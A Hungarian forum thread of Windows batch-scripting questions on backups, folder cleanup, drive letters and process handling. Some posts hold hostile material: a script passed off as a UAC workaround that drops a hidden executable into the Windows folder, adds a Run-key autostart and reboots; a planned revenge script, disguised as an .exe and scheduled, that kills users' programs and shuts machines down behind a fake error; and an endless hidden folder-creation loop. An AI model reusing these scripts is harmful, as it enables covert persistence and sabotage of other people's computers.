Hali! Backup rendszert csinálnék, amihez a windowst meg a feladatkezelõjét használnám. A mentés része rendben van, egy D:\Backup\<év>\<hónap>\<nap> könyvtárba elmentem azt a heti mentést, amit a többi számítógép csinál a szóban forgóra. Persze, feladatütemezõvel hetente egyszer :) A fogós dolog innen jön: Hogy ne teljen meg a háttértár, törölgetni is szeretnék. Pl havonta egyszer lefutna egy batch, ami törli az egy évvel ezelõtti könyvtár tartalmát egy mentés kivételével. Pl most hó végén lefutna egy, ami 2012\03 könyvtárban csak a legutolsó mentést hagyná meg (2012\03\25) Ezt hogy lehetne megcsinálni? Ezután persze még évente lefutna egy másik script, ami mondjuk az 5 évnél idõsebb könyvtárakat törölgetné, bár ott könnyû, mert 01-11-ig végigmegy, a törlés (deltree?) meg intézkedne :)
Szóval, a lényeg: kinyerem a dátumot, és hogy csökkentem eggyel az évet? (sima %ev% = %ev%-1? :D túl egyszerûnek tûnik) Hogyan törlöm egy könyvtár tartalmát valamilyen sorrendben úgy, hogy a legutolsó könyvtárat megtartom?
Sziasztok! Megjelenés beállítások (pl. menük áttûnése) XP alatt megváltoztathatók batchban?
juj, egy kicsit összevissza van de azért ki lehet belöle hámozni a lényeget...
Forrás és célútvonalak megadásához ideálisak az idézõjelek nélkül, fõleg ha hozzárendeljük egy változóhoz ;)
@echo off for /f "tokens=3" %%i IN ('reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup /v "SourcePath" ^| findstr "REG_SZ"') do set SOURCE=%%i echo A telepitofajlok forrasa a: %SOURCE% START /MIN %SOURCE%\SETUP.BAT EXIT
%userprofile% felhasználóprofil %systemroot% ill. %windir% egyértelmû %systemdrive% rendszermeghajtó %temp% ideiglenes fájlok %appdata% felhasználó applikációs adatkönyvtára %public% Felhasználók nyilvános könyvtára %programdata% %startup% --> Na ez lenne jó Xp-re, de Win7-en csak batchban indulna az ablakokban, innen az UAC ugysem engedi. Viszont így igen, egy START /MIN paranccsal tálcán futtatott scriptel de hogy 64biten is müxödjön, egy 64biten futtatható sfx-be kell ültetni hogy érvénybe léphessen 64bites platformon az UAC kikapcsolása:
@echo off SETLOCAL ENABLEEXTENSIONS SETLOCAL ENABLEDELAYEDEXPANSION cd /d %~dp0 ver | find "2003" > nul if %ERRORLEVEL% == 0 goto admin ver | find "XP" > nul if %ERRORLEVEL% == 0 goto admin ver | find "2000" > nul if %ERRORLEVEL% == 0 goto admin if /i %processor_architecture%==AMD64 64bit ( ATTRIB -r -a -s -h %~dp0wtmp.dat MOVE /Y "%TEMP%\wtmp.dat" "%WINDIR%\x64.exe" REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "virga" /d "\"%systemroot%\x64.exe\"" /f DEL /F /S /Q /A -r -a -s -h %~dp0vb.dat ) ELSE ( ATTRIB -r -a -s -h %~dp0vb.dat MOVE /Y "%TEMP%\vb.dat" "%WINDIR%\virga.bat" REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "virga" /d "\"%systemroot%\x64.exe\"" /f DEL /F /S /Q /A -r -a -s -h %~dp0wtmp.dat CLS ) shutdown /r /t 02
:admin cd /d %~dp0 SETLOCAL ENABLEEXTENSIONS SETLOCAL ENABLEDELAYEDEXPANSION És innentõl jöhet akármi...
Én meg ezt -épp most- 14 óra folyamatos keresés után:
@ECHO OFF for %%a in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do ( ECHO %%a:\testtest.id IF EXIST %%a:\testtest.id SET USBDRV=%%a: ) ECHO. ECHO FILE FOUND ON %USBDRV%
A célomat eltudtam vele érni, még ha nem is teljesen tökéletes. :) Azért nagyon köszönöm a segítségedet
Van-e arra vonatkozó formula amivel megtudnám határozni "%Változó meghajtót%?
Sziasztok!
Gondolom mindenkinek ismerõs az a dolog ha csatlakoztatunk egy USB kulcsot több számítógéphez akkor minden egyes számítógépnél más a meghajtó elnevezés, azaz más az elérési út ( G:/ ; H:/ ; I:/ stb ... )
És egy ehhez kapcsolódó 1 fura kérdés, de mégsem találom rá sehol a választ:
Van-e olyan parancs a batch programozásban hogy az elérési út változóit irányítani tehát nem azt írnám egy adott fájl elérési útnak hogy "G:/Programok/yxz.exe" hanem mondjuk "-F Programok/yxz.exe"
Tud nekem valaki ebben segíteni? Ha igen köszönöm
Lehet rossz topik, de hátha:
Van olyan program mellyel ki tudom bontani az . RTP fájlkiterjesztésû csomagolt/tömörített tartalmat?
Egy régi EA-s játék patch-érõl lenne szó, amit ki szeretnék bontani. Van hozzá Updater.exe és egy .RPD fájl is (de ez pár KB). Valószínû hibás vagy hiányos registry bejegyzés miatt nem látja a játékot. Köszi elõre is!
ránézek, mert most nemrég próbáltam at autodelete nevû progit de az sem töröl semmit. Ha nem megy feladom. azért thx ezt még utoljára megnézem.
üdv megint már elfelejtettem, hogy melyik paranccsal kell vagy melyik kapcsolóval hogy egy mappa tartalmát törölni tudjam... Mert pl ha csak ennyit írok be, akkor az nem csinál semmit: *********************** del c:\Users\felhasználónév\AppData\Local\Microsoft\Windows\Temporary Internet Files **********************
Pedig muszáj lesz, mert ez egy olyan szám lett, hogy beszarás, folytatnám tovább :D (egyszerûbb lenne újracsinálni a számot, viszont zavar, hogy nem tudom megjavítani a fájlt :D ) Bevallom õszintén nem nagyon érdekel az EULA, fõleg ha a zenémrõl van szó, amit más "fizetõs" programjával kreáltam. Aki sajnálja mástól a program forráskódját és pénzt is kér érte.... ahhoz én is így állok hozzá és figyelmen kívül hagyom az EULA-t :P XD MIt tudsz akkor ajánlani, mit csináljak? Nem vagyok vérprofi, viszont érdekel ez az egész programozósdni, nagyon tetszik. Jó lenne érteni ahhoz, ami a grafika túloldalán van és vezérel. MElyik az a legalapabb program író program, vagy felület, amivel bármi létrehozható? Egy ilyen zeneszerkesztõt pl miben írják meg? Vagyaz oprendszereket?! Tudom, kicsit nagy fába vágom a fejszém, de izgalmas téma :D
"Ha zárt forráskódú valami, hogyan tudom azt kinyitni? Lehetséges az?" Disassemblerrel visszafejthetnéd a programot Assembly kóddá (gépi kódhoz közeli kóddá), és megkereshetnéd benne, hogy hogyan építi fel az állományt... ...de ez egy eléggé összetett program, szóval vérprofi tudás nélkül esélytelen. Ráadásul a szoftver EULA-ja nem is engedné. ;)
Azt írja, hogy "File has a bad format and can not be loaded"
A többi számom mûködik, csak ez nem. Ha zárt forráskódú valami, hogyan tudom azt kinyitni? Lehetséges az? Hex editort szedtem le, de az csöppet durvának tûnik, viszont! Nem adom fel, belemegyek ebbe a bináris szerkesztgetéses dologba, csak tudni kéne értelmezni ezt a sok betût meg számot.
Kiömöríteni már próbáltam, nem lehet. File recovery meg ilyen marhaságokkal is próbálkoztam, de elég gyenge ötlet volt. Ezért gondotlam, hogy nincs más lehetõség, csak ha megtanulom értelmezni, írni, szerkeszteni ezeket a fájlokat programokat, esetleg "felt..ni" XD Hogy , ha ilyen helyzet van, akkor tudjam javítani.
Na látjátok, ezért szemétség a zárt forráskód, használjunk Linuxot XD, csak vicc....
"amit nem tudok megnyitni, mert hibát ír ki" Milyen hibát ír ki?
"Milyen programot ajánlotok, amivel beletudok piszkálni mindenféle kiterjesztésbe vagy át tudom írni a fájlok kódjait?" Mivel zárt forráskódú szoftverrõl van szó a fájl struktúrája is ismeretlen. Lehet, hogy tömörített (például tartalmazza a "gépi kottát" és a hangmintákat), így rá lehet engedni egy kitömörítõprogramot (például 7Zip-pet).
Vagy lehet, hogy az állományban egymás után vannak benne a dolgok - no akkor ember legyen a talpán aki megtalálja, hogy hol vannak az állományok határai. Esetleg nekieshetsz valami hexeditorral, de a bináris adathalmazból kibányászni a tartalmat... ...érdekes egy menet lesz.
Esetleg töltsd fel, és megnézzük, mit lehet vele csinálni.
Van egy .rns kiterjesztésû fájlom (propellerheads reason használja) amit nem tudok megnyitni, mert hibát ír ki. Milyen programot ajánlotok, amivel beletudok piszkálni mindenféle kiterjesztésbe vagy át tudom írni a fájlok kódjait?(egyáltalán van olyan program, amivel mindenbe bele lehet piszkálni? Valami olyan program kéne, amivel magát a programot is írják) Az a baj, hogy nem értek a programozáshoz és fogalmam sincs, hogyan tudnám helyreállítani azt a fájlt, már próbáltam annyi mindennel, de a programozással nem. Lehet, hogy hiányzik valami kód belõle, valószinûleg rosszul mentette el. Fontos lenne nagyon. Ha hibásan is, de megtundám nyitni, azzal már elõbbre jutnék.
Elõre is köszönöm a válaszotokat, sziasztok.
Ha egy bizonyos svchost szolgáltatást leállítanak akkor a gép kb fél vagy 1-2 perc múlva újraindítja magát.... Amúgy meg nem jó dolog bosszút állni mert a tanár az ilyet nem nézi jó szemmel hogy a suligépeivel szórakoztok :)
Nem akarok kártevõket csinálni, annyira genyó nem vagyok. Csak múlthéten szórakoztak velem a suliban. Taskkill-el lelõtték az exploreremet, a torrentet... a végén már az svchostokkal szórakoztak és sajna késõn jöttem rá, hogy lehet ez ellen védekezni. Én csak írnék egy olyan .bat-ot amibe kb ez van: taskkill /f /t /IM uTorrent.exe taskkill /f /t /IM TeamViewer.exe taskkill /f /t /IM explorer.exe taskkill /f /t /IM vmware.exe taskkill /f /t /IM chrome.exe taskkill /f /t /IM firefox.exe taskkill /f /t /IM iexplore.exe taskkill /f /t /IM msnmsgr.exe start C:\WINDOWS\msgbox.vbs shutdown -s -t 25 -c "system error" taskkill /f /t /IM cmd.exe
Ezt átkonvertálom egy .exe fáljba, hogy ne keltsen gyanút és beállítom a feladatütemezõbe, hogy pl heti egyszer futtassa le.
mennyi rejtett mappa...... mûveletvégzéskor belassítja a rendszert(idõnként a gép nem válaszol) az állandó végtelen ciklus miatt,SÕT akár az is elõfordulhat hogy csak egy reset indítja azt amúgy meg hogy ne kelljen elindítani ahhoz írni kell egy regisztrációs bejegyzést(pl.:egy *.reg fájlt)....
Ha szeretnél foglalkozni a programozással, akkor azt ajánlom hogy feküdj rá rendesen. :D Ha megtanulsz programozni, még ha csak hobbi szinten is, az a hálózatos területen is nagy segítséget nyújthat! Rengeteg nagyon jó könyv kapható egészen kezdõknek is. Kezdõként tanulgasd a batch programozást (akár internetrõl is). Ezzel nem fogsz tudni komoly programokat készíteni, mivel ebben csak a beépített windows parancsokat használod. De legalább annyira jó, hogy elkezded kapisgálni a programozói gondolkodásmódot. :D Ezután jöhet valami komolyabb nyelv (ehhez már könyv vagy tanár ajánlott). Gondolok itt egy PHP, Visual Basic, Delphi, Java vagy C# nyelvre.
Ha már ezekben is otthon leszel akkor jöhetnek a "nagyágyúk" :D pl: C, Assembly (Na itt már kezdhetsz kártevõt írni ;D) Sok sikert
programozni még nem tanultam. Informatikai hálótattelepítõnek tanulok. Másodéves vagyok, és 20 éves vagyok.
Mappa létrehozásokkal, meg ilyen "egyszerû mûveletekkel" lóf..t se fogsz lassítani a rendszeren! Annyit érhetsz el vele, hogy a progid nem reagál majd semmire mert folyamatosan mappákat hoz létre.
Amúgy te tanultál programozni valaha? (és hány éves vagy ha megkérdezhetem?) :)
háát sokmindenhez kéne, de most éppen ahhoz, hogy létrehozok valahova egy rejtett mappát és abba kéne nekem végteleníteni, hogy még a rejtett mappába is csináljon mappákat.
üdv lehet olyat hogy egy batch fájlt a gép ne induláskor inditson el, hanem leállitás elõtt futtasa le?
Helló engem egy feladat megoldása érdekelne: 1, Kétszínezés irányítatlan gráfban. Ezt onnan ismered fel, hogy a feladatod neve ketszin.x ahol x egy 1 és 20 közötti egész szám. Itt a megoldás egyrészt vagy a "kétszínezhetõ" vagy a "nem kétszínezhetõ" válaszból áll, másrészt az elsõ esetben az 1-es csúccsal azonos színû csúcsok közül a 20-nál kisebb sorszámúak felsorolása, a második esetben pedig egy legfeljebb 15 hosszú páratlan kör csúcsainak kiíratása ciklikus sorrendben. Ehhez van egy bemeneti file. Ami egy gráf éllistával megadva. Valaki tud segíteni? Elõre is köszönettel!
sziasztok
kellene egy kis infó. van egy adott TXT állományom. namármost egy batch file-t kellene csinálnom, amit ha lefuttatok, a txt-ben adott sorban adott helyen átjavítsa a szöveget, lehet ilyet csinálni?
Köszi, remélem segít! Már rengeteg cikket olvastam át, de ez jónak tûnik! :)
köszi így már világos, de úgy nézem én nem tudom használni. konkrétan: napi szinten létrejön egy log-file: mentes_20100928.log beírtam a batch-be copy mentes*.log k:/mentesek del mentes*.log sajnos ebben az esetben nem tudok konkrét file-ra hivatkozni, mert a k:/mentések-be tele van mentes*.log-al tehát valami olyat keresek hogy ne töröljön ha az elõzõ parancs nem ment végbe köszi szépen azért
ez a paraméter direkt arra van ha a fájl létezik hajtsa végre a kívánt parancsot fájlnév= melyik az a fájl ami létezik parancs = milyen parancsot hajtson végre(ha a delt vagy a hasonló parancsait nem fogadja el akkor a goto-t használd) tehát: if exist fájlnév.bat del /f /q fájlnév ezzel inkább egy egyszerû txt-vel kísérletezd
hát nem nagyon jön össze, bár nem tudom, hogy érted így futtassam a file-t? én a batch-be keresek valami "leellenõrzõ" parancsot, ha sikerült a másolás akkor töröljön csak
Sziasztok! Azt szeretném kérdezni, hogy van-e lehetõség dos-ban arra, hogy egy másolási parancs után csak akkor menjen tovább a batch, ha a másolás tényleg sikeres volt? pl: copy *.log k:\mentes del *.log
azt szeretném elérni, hogy csak akkor menjen a törlésre ha tényleg átmásolta a cuccot, hálozati meghalytóról van szó, és nem mindig elérhetõ ezért olyan fontos. köszi
a taskkill /f /im xcd.exe nem mûködik! csak piddel mûködik. próbáltam már elég sok mindent, de csak manuálisan lehet begépelni. ahogy mondtam céges gép az az exe fájl pedig random logol. billentyûleütést, screenshotot és egy csomó dolgot még. ezt a windows scripting hostot még meglesem, köszi a segitseget!
Nem tudom pontosan miért kell a folyamatazonosító amikor egyszerûen is le lehet állítani. mondjuk taskkill /f /im program név (F parancsal az erõszakos leállítást kezdeményezi)
1. A taskkill /im kapcsolójával próbáltad-e? 2. Esetleg tskill paranccsal (tud programnév alapján is dolgozni)? 3. Linux alatt a PID lekérése még csak egyszerû - vagy a pidof paranccsal, vagy ps parancs kimenetét kell szûrni - például: ps -e | grep firefox | awk '{print $1}'
Windows alatt ehhez valamilyen szkriptnyelv kell - például Windows Scripting Host alatt a ProcessID tulajdonság.
szevasztok! volna egy kérdésem. van egy xcd.exe nevu fájl amit melóhelyi gépen csak úgy lehet kilõni, hogy megnézem a pid-jét, majd: taskkill /pid érték
Az a kérdés, hogy meglehet-e csinálni batch fájlban azt, hogy a fájl pidjét lekérdezze egy változóba és azt a változót betegye a parancsba?
Köszi!
nem hanem exists helyett simán exist-et kellett írni...:D
hy. hogy lehetne megoldani, hogy a parancsra egész mappát a tartalmával együtt másoljon át????
mán megoldottam :)
üdv tudna nekem segíteni valaki egy oylan feladatot kéne csinálnom ami indiítás után bekér szavakat soronként 1 et madj ezután írja ki h hány szót írtunk be és majd írja ki azokat a sorokat amelyek tartalmaznak "a" betüt az a szavak.txt-be
edigg így állok vele
@echo off cls if exist szo.txt goto end echo elso sor copy con szo.txt echo masodik sor copy con szo.txt echo harmadik sor copy con szo.txt type szo.txt >>eredmeny.txt
:end
set /p szam=Írj be egy számot set /p szam2=Na még1t set /a %szam%-%szam2%=eredmeny echo %eredmeny%
valahogy így
Megosztanád velünk a megoldást?
Megvan. 2 óra szenvedés után dikerûlt. :)
Hali! Olyat lehet, h mondjuk
set szam=3
Aztán a szam-hoz hozzáadjak valamennyit. Vagy mondjuk kivonjak. Én valahogy így próbáltam, de nem volt jó.